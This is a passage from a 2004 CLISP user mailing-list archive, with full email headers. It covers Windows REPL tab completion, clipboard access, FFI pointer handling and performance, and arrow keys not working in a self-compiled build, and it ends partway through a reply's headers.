slepnev_v@rambler.ru) by mail1.rambler.ru (CommuniGate Pro WebUser 4.1.6) with HTTP id 76013438 for clisp-list@lists.sourceforge.net; Mon, 23 Aug 2004 00:43:58 +0400 From: "=?windows-1251?Q?=D1=EB=E5=EF=ED=E5=E2_=C2=EB=E0=E4=E8=EC=E8=F0?=" To: clisp-list@lists.sourceforge.net X-Mailer: CommuniGate Pro WebUser Interface v.4.1.6 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1251"; format="flowed" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Tab key in CLisp REPL on Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 22 13:45:04 2004 X-Original-Date: Mon, 23 Aug 2004 00:43:58 +0400 Hello, the documentation on the CLISP site says that the Tab key should=20 auto-complete stuff in the REPL. Under Windows, it doesn't - it just=20 moves the cursor to the next tab stop. Am I getting something wrong?=20 How do I do auto-completion under Windows? Vladimir Slepnev From dan.stanger@ieee.org Sun Aug 22 17:59:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bz3Aw-0008MY-Hj for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 17:59:06 -0700 Received: from extsmtp1.localnet.com ([207.251.201.55]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1Bz3Au-00036L-BL for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 17:59:05 -0700 Received: (qmail 22415 invoked from network); 23 Aug 2004 00:21:51 -0000 Received: from thwerll.localnet.sys (HELO smtp1.localnet.com) (10.0.7.18) by extsmtp1.localnet.com with SMTP; 23 Aug 2004 00:21:51 -0000 Received: (qmail 8338 invoked from network); 23 Aug 2004 00:59:01 -0000 Received: from unknown (HELO ieee.org) (66.153.101.148) by smtp3.localnet.com with SMTP; 23 Aug 2004 00:59:01 -0000 Message-ID: <4129412A.E9993BC3@ieee.org> From: Donna and Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.8 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Elvin Peterson CC: Clisp Subject: Re: [clisp-list] clipboard using clisp References: <20040822165556.81336.qmail@web52208.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 22 18:00:03 2004 X-Original-Date: Sun, 22 Aug 2004 20:58:18 -0400 The gdi package I started may have some support for it, if not, its pretty easy to add. Dan Stanger Elvin Peterson wrote: > Hello, > Is there any command to access the clipboard using > clisp? I am using clisp in cygwin under windows. > > TIA. > > > _______________________________ > Do you Yahoo!? > Win 1 of 4,000 free domain names from Yahoo! Enter now. > http://promotions.yahoo.com/goldrush > > ------------------------------------------------------- > SF.Net email is sponsored by Shop4tech.com-Lowest price on Blank Media > 100pk Sonic DVD-R 4x for only $29 -100pk Sonic DVD+R for only $33 > Save 50% off Retail on Ink & Toner - Free Shipping and Free Gift. > http://www.shop4tech.com/z/Inkjet_Cartridges/9_108_r285 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From elvin_peterson@yahoo.com Sun Aug 22 19:17:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bz4P2-0001PW-7K for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 19:17:44 -0700 Received: from web52203.mail.yahoo.com ([206.190.39.85]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1Bz4P1-0005lK-Jf for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 19:17:44 -0700 Message-ID: <20040823021737.45912.qmail@web52203.mail.yahoo.com> Received: from [202.83.42.181] by web52203.mail.yahoo.com via HTTP; Sun, 22 Aug 2004 19:17:37 PDT From: Elvin Peterson Subject: Re: [clisp-list] clipboard using clisp To: Clisp In-Reply-To: <4129412A.E9993BC3@ieee.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 22 19:18:02 2004 X-Original-Date: Sun, 22 Aug 2004 19:17:37 -0700 (PDT) --- Donna and Dan Stanger wrote: > The gdi package I started may have some support for > it, if not, its pretty > easy to add. > Dan Stanger > How is this related to the win32 (in modules/bindings/win32) package? I don't see the gdi package it my source tree. Is it a separate download? Thanks. > Elvin Peterson wrote: > > > Hello, > > Is there any command to access the clipboard > using > > clisp? I am using clisp in cygwin under windows. > > > > TIA. _______________________________ Do you Yahoo!? Win 1 of 4,000 free domain names from Yahoo! Enter now. http://promotions.yahoo.com/goldrush From elvin_peterson@yahoo.com Sun Aug 22 19:40:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bz4lU-0003vV-Ed for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 19:40:56 -0700 Received: from web52210.mail.yahoo.com ([206.190.39.92]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1Bz4lS-0008Ui-Uu for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 19:40:56 -0700 Message-ID: <20040823024049.16393.qmail@web52210.mail.yahoo.com> Received: from [202.83.42.181] by web52210.mail.yahoo.com via HTTP; Sun, 22 Aug 2004 19:40:49 PDT From: Elvin Peterson Subject: Re: [clisp-list] clipboard using clisp To: Clisp In-Reply-To: <4129412A.E9993BC3@ieee.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 22 19:41:02 2004 X-Original-Date: Sun, 22 Aug 2004 19:40:49 -0700 (PDT) --- Donna and Dan Stanger wrote: > The gdi package I started may have some support for > it, if not, its pretty > easy to add. > Dan Stanger Does this compile on the newest clisp? Where is the clisp-link file that the readme file refers to? I have downloaded gdi.tar.gz, but I can't find it (it is supposed to exist in .. Thanks. > > Elvin Peterson wrote: > > > Hello, > > Is there any command to access the clipboard > using > > clisp? I am using clisp in cygwin under windows. > > > > TIA. > > > > > > _______________________________ > > Do you Yahoo!? > > Win 1 of 4,000 free domain names from Yahoo! Enter > now. > > http://promotions.yahoo.com/goldrush > > > > > ------------------------------------------------------- > > SF.Net email is sponsored by Shop4tech.com-Lowest > price on Blank Media > > 100pk Sonic DVD-R 4x for only $29 -100pk Sonic > DVD+R for only $33 > > Save 50% off Retail on Ink & Toner - Free Shipping > and Free Gift. > > > http://www.shop4tech.com/z/Inkjet_Cartridges/9_108_r285 > > _______________________________________________ > > clisp-list mailing list > > clisp-list@lists.sourceforge.net > > > https://lists.sourceforge.net/lists/listinfo/clisp-list > > > > ------------------------------------------------------- > SF.Net email is sponsored by Shop4tech.com-Lowest > price on Blank Media > 100pk Sonic DVD-R 4x for only $29 -100pk Sonic DVD+R > for only $33 > Save 50% off Retail on Ink & Toner - Free Shipping > and Free Gift. > http://www.shop4tech.com/z/Inkjet_Cartridges/9_108_r285 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail From abela@solsoft.com Wed Aug 25 08:05:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BzzLT-0001KU-St for clisp-list@lists.sourceforge.net; Wed, 25 Aug 2004 08:05:51 -0700 Received: from cotuta.solsoft.com ([195.68.105.106] helo=smtp0.solsoft.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BzzLT-0000e7-CI for clisp-list@lists.sourceforge.net; Wed, 25 Aug 2004 08:05:51 -0700 Received: from smtp0.solsoft.com (localhost [127.0.0.1]) by smtp0.solsoft.com (Postfix) with ESMTP id 07E142C1A80 for ; Wed, 25 Aug 2004 17:05:46 +0200 (CEST) Received: from smtp0.solsoft.com ([127.0.0.1]) by smtp0.solsoft.com (cotuta [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 13329-04 for ; Wed, 25 Aug 2004 17:05:45 +0200 (CEST) Received: from solsoft.fr (ankara2.solsoft.fr [172.22.0.8]) by smtp0.solsoft.com (Postfix) with ESMTP id C5A8E2C1859 for ; Wed, 25 Aug 2004 17:05:45 +0200 (CEST) Received: from cheguevara (cheguevara.solsoft.fr [172.22.1.90]) by solsoft.fr (8.12.10/8.12.10) with ESMTP id i7PF5jHO028131 for ; Wed, 25 Aug 2004 17:05:45 +0200 Received: from abela by cheguevara with local (Exim 4.34) id 1BzvyB-0001oz-9B for clisp-list@lists.sourceforge.net; Wed, 25 Aug 2004 13:29:35 +0200 From: Jerome Abela To: clisp-list@lists.sourceforge.net Message-ID: <20040825112935.GC6154@cheguevara> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.6+20040722i X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at solsoft.com X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.7 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date Subject: [clisp-list] FFI::c-ptr loosing original address Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 25 08:06:06 2004 X-Original-Date: Wed, 25 Aug 2004 13:29:35 +0200 Hi, there ! I'm trying to use an external C function which returns a pointer to a structure. I have two needs: 1. I need to pass the pointer to other functions. 2. I need to inspect some of the fields of the structure. Here are the solutions I was able to implement. 1. Using c-pointer. I can use the given c-pointer as an anonymous handle, and pass it to other functions. It works fine, but I can't find a way to access the structure. Well, it seems fair to me: only ugly hacks should allow me to manipulate data behind a c-pointer. 2. Using (c-ptr mystruct). This way, I can dig into the structure. But it looks like the c-ptr type description is only used to describe the C function, and is bypassed in the resulting lisp data: the lisp function returns directly a structure, instead of a pointer I would have to ffi::deref. Therefore, the pointer value is lost, and I can't call the other functions. Is my analysis of the (c-ptr struct) behavior correct ? Is there a way to force FFI to return a c-ptr, which I could either use as-is, or deref when I want to access the struct ? Thanks for any help, Jerome. From Joerg-Cyril.Hoehle@t-systems.com Wed Aug 25 09:47:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C00vW-0006tR-LU for clisp-list@lists.sourceforge.net; Wed, 25 Aug 2004 09:47:10 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C00vT-00030H-RO for clisp-list@lists.sourceforge.net; Wed, 25 Aug 2004 09:47:10 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 25 Aug 2004 18:46:14 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 25 Aug 2004 18:45:25 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03015416EA@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Jerome.Abela@free.fr Subject: [clisp-list] FFI::c-ptr loosing original address MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 25 09:48:12 2004 X-Original-Date: Wed, 25 Aug 2004 18:45:24 +0200 Jerome Abela asked: >Is there a way to force FFI to return a c-ptr, which I could either use >as-is, or deref when I want to access the struct ? As you noticed, C-PTR leads to immediate transformation of a foreign thing to Lisp data. This is not TRT for the many cases where one wants to deal with references and (possibly partially) dereference the foreign data later. You have to use c-pointer as :return-type. Then you have to construct a FOREIGN-VARIABLE object out of the FOREIGN-ADDRESS object that you got. I just recently sketched again in this list how this can be done. It usually goes as follows: (defun dereference-now (the-address) (with-c-var (x '(c-ptr my-data-type)) (setf (cast x 'c-pointer) the-address) (list (deref x) (slot (deref x) 'foo) x)) I had thought of introducing a new declaration like this (c-pointer ) ; neither c-pointer nor (c-ptr C conversion. This one is not well defined at all. At least, I don't want to invent an implementation of c-subtype-p, which one may think is needed for type safety. What I mean is, suppose you have (c-pointer (c-array character 30)). Would it be acceptable to supply a a) # b) # c) # d) # e) some Lisp string f) some Lisp array g) # h) # One of my concerns is that if this conversion were implemented, *I* would object both type-checking and CAST'ing (to comply with strict type-checking) because of the performance penalty they cause, which would make CLISP's FFI even slower than it is today, compared to all the other native code compilers where CAST'ing is mostly a no-op and checking of foreign types is uniquely a compile-time issue. I.e. CLISP would then do less checks on foreign pointers than any C compiler. Is that acceptable? Summary: o foreign world -> # is very useful/handy o it should not come alone, because irregularities make jobs harder (e.g. making UFFI work) o the only acceptable choice for the converse conversion of the new (c-pointer ) would be to accept any foreign entity that embeds a pointer (i.e. foreign-address -variable and -function. But that does not look clean at all. So what's next? A compromise might be to restrict this to :return-type of functions. But why not also in structures (esp. since from an implementation POV, it's the same, not separate code in src/foreign.d). That's also not proper, because parse-c-type cannot generally know whether it's parsing something for :return-type or not (consider (c-ptr (c-ptr (c-pointer mystruct))) or def-c-type declarations). Regards, Jorg Hohle. From abela@solsoft.com Wed Aug 25 10:40:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C01l0-0001xh-FE for clisp-list@lists.sourceforge.net; Wed, 25 Aug 2004 10:40:22 -0700 Received: from cotuta.solsoft.com ([195.68.105.106] helo=smtp0.solsoft.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C01kz-00069N-0I for clisp-list@lists.sourceforge.net; Wed, 25 Aug 2004 10:40:22 -0700 Received: from smtp0.solsoft.com (localhost [127.0.0.1]) by smtp0.solsoft.com (Postfix) with ESMTP id 58E1D2C1B20; Wed, 25 Aug 2004 19:40:16 +0200 (CEST) Received: from smtp0.solsoft.com ([127.0.0.1]) by smtp0.solsoft.com (cotuta [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 26451-01; Wed, 25 Aug 2004 19:40:16 +0200 (CEST) Received: from solsoft.fr (ankara2.solsoft.fr [172.22.0.8]) by smtp0.solsoft.com (Postfix) with ESMTP id 33ADF2C1A35; Wed, 25 Aug 2004 19:40:16 +0200 (CEST) Received: from cheguevara (cheguevara.solsoft.fr [172.22.1.90]) by solsoft.fr (8.12.10/8.12.10) with ESMTP id i7PHeGHO008753; Wed, 25 Aug 2004 19:40:16 +0200 Received: from abela by cheguevara with local (Exim 4.34) id 1C01kq-0003OM-Rp; Wed, 25 Aug 2004 19:40:12 +0200 From: Jerome Abela To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI::c-ptr loosing original address Message-ID: <20040825174012.GB11810@cheguevara> References: <5F9130612D07074EB0A0CE7E69FD7A03015416EA@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03015416EA@S4DE8PSAAGS.blf.telekom.de> User-Agent: Mutt/1.5.6+20040722i X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at solsoft.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 25 10:41:11 2004 X-Original-Date: Wed, 25 Aug 2004 19:40:12 +0200 On Wed, Aug 25, 2004 at 06:45:24PM +0200, Hoehle, Joerg-Cyril wrote: > Jerome Abela asked: > >Is there a way to force FFI to return a c-ptr, which I could either use > >as-is, or deref when I want to access the struct ? > > [very documented answer] Awesome ! Thanks a lot for this very deep answer, covering both my immediate needs and the next few questions I could have on that matter :-) I have to confess I didn't understood everything (like why the type checking is so slow while navigating among foreign types - slower than converting it into lisp types ?). But I keep it, and I'll try to read it again as my level at lisp will improve :-) Thanks again, Jerome. From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 26 02:25:29 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C0GVV-0000I0-4o for clisp-list@lists.sourceforge.net; Thu, 26 Aug 2004 02:25:21 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C0GVT-0005tE-El for clisp-list@lists.sourceforge.net; Thu, 26 Aug 2004 02:25:21 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 26 Aug 2004 11:25:07 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 26 Aug 2004 11:23:52 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301541789@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Jerome.Abela@free.fr Subject: Re: [clisp-list] FFI::c-ptr loosing original address MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 26 02:26:13 2004 X-Original-Date: Thu, 26 Aug 2004 11:23:51 +0200 Hi, Jerome Abela said: >I have to confess I didn't understood everything I should make clear that if your intended use is to dereference slots at will, you should immediately make a foreign-variable object out of the foreign-address one that the C-POINTER :return type gives you. I posted a foreign-variable constructor a few days ago. When you later want to dereference some slots, you then use (defun dereference-now (fv) (declare (type foreign-variable fv)) (with-c-place (x fv) (list (deref x) (slot (deref x) 'foo) x)))) This will avoid lots of calls to PARSE-C-TYPE and thus render the application faster. >(like why the type >checking is so slow while navigating among foreign types - slower than >converting it into lisp types ?). There are (at least) three things that make FFI slow: o The structure description language is interpreted at run-time by a the FFI implementation. I.e there's an (FFI structure) interpreter on top of a (bytecode) interpreter. Compare this to native compilers where both interpretation levels disappear (at compile-time). o Calls to PARSE-C-TYPE at run-time. This is currently the case when using WITH-C-VAR, WITH-FOREIGN-OBJECT, ALLOCATE-* etc. It's not the case with DEF-CALL-OUT, because then PARSE-C-TYPE is invoked at compile-time or load-time only. This state is not irremediable, and some invocations of PARSE-C-TYPE (with constant types) could be evaluated at compile or load-time as well. E.g., the (c-pointer mystruct) :return-type extension yields several opportunities for removal of run-time invocation of PARSE-C-TYPE. o Loop over individual elements as opposed to array-based conversions. In particular, ELEMENT is slower than conceivable, because for every element accessed, a FOREIGN-VARIABLE object is created and immediately thrown away, so there's much more overhead than people imagine. As opposed to native code compilation, where such loops across arrays are mostly a matter of a few machine instructions. Furthermore (with-c-var/c-place (x ...) ; c-ptr (c-array something (dotimes (i n) (element (deref x) i))) is o(2*n) in cost of temporary foreign-variable objects, whereas (with-c-var/c-place (x ...) (with-c-place (y (c-var-object (deref x))) (dotimes (i n) (element y i)))) is only o(1*n) (this is a typical case of optimization by moving a constant expression out of a loop). Still, both are much, much slower then when you can convert a (c-ptr (c-array x n)) in one go, which CLISP allows (except for the difficulties with arrays of unknown length). Remember: block operations are faster. Good APIs provide for block operations. Only pure theoretical computer scientists think that an interface which allows to manipulate one element is enough "because when I can do 1, I can do 1+1, then do 1+1+1" :-) Similarly, good GUIs provide for operations on several elements in one command. There are enough examples of bad GUIs. Not only are block operations faster because they eliminate repeated pre-element setup overhead, but they allow additional optimizations (e.g. reorder operations etc.) Regards, Jorg Hohle. From dogskin@fastmail.fm Thu Aug 26 17:31:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C0UeH-0005xe-7j for clisp-list@lists.sourceforge.net; Thu, 26 Aug 2004 17:31:21 -0700 Received: from frontend1.messagingengine.com ([66.111.4.30]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C0UeF-0000h6-Rt for clisp-list@lists.sourceforge.net; Thu, 26 Aug 2004 17:31:21 -0700 Received: from server3.messagingengine.com (server3.internal [10.202.2.134]) by frontend1.messagingengine.com (Postfix) with ESMTP id 147CBC15103 for ; Thu, 26 Aug 2004 20:31:15 -0400 (EDT) Received: by server3.messagingengine.com (Postfix, from userid 99) id CA20B190823; Thu, 26 Aug 2004 20:31:16 -0400 (EDT) Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="ISO-8859-1" MIME-Version: 1.0 X-Mailer: MIME::Lite 1.4 (F2.72; T1.001; A1.62; B3.01; Q3.01) To: clisp-list@lists.sourceforge.net From: "Al Co" X-Sasl-Enc: +MOxexPIXuo9/7BmAoujEw 1093566676 Message-Id: <1093566676.21093.203151323@webmail.messagingengine.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Hi again. Got a problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 26 17:34:07 2004 X-Original-Date: Fri, 27 Aug 2004 08:31:16 +0800 Hi Sam, Actually I posted this question a few weeks ago but didn't follow up. The problem concerning my installation (on Mandrake) is that the arrow keys and other keys aren't that useful. Pressing 'Up', for instance, would input "^[[A" on the screen instead of choosing the last command I've made. Certainly it made programming with this installation very difficult. You then asked "Did you compiled it yourself?" Well yes, I compiled it myself, and with the default options (meaning, without doing anything special): in the directory clisp... ./configure aco_clisp cd clisp ./makemake > Makefile make config.lisp make make check make install thanks! From sds@gnu.org Fri Aug 27 06:15:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C0gZV-0005QP-4r for clisp-list@lists.sourceforge.net; Fri, 27 Aug 2004 06:15:13 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C0gZU-0005xj-Dm for clisp-list@lists.sourceforge.net; Fri, 27 Aug 2004 06:15:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7RDF0KV004836; Fri, 27 Aug 2004 09:15:00 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Al Co" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1093566676.21093.203151323@webmail.messagingengine.com> (Al Co's message of "Fri, 27 Aug 2004 08:31:16 +0800") References: <1093566676.21093.203151323@webmail.messagingengine.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Al Co" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed 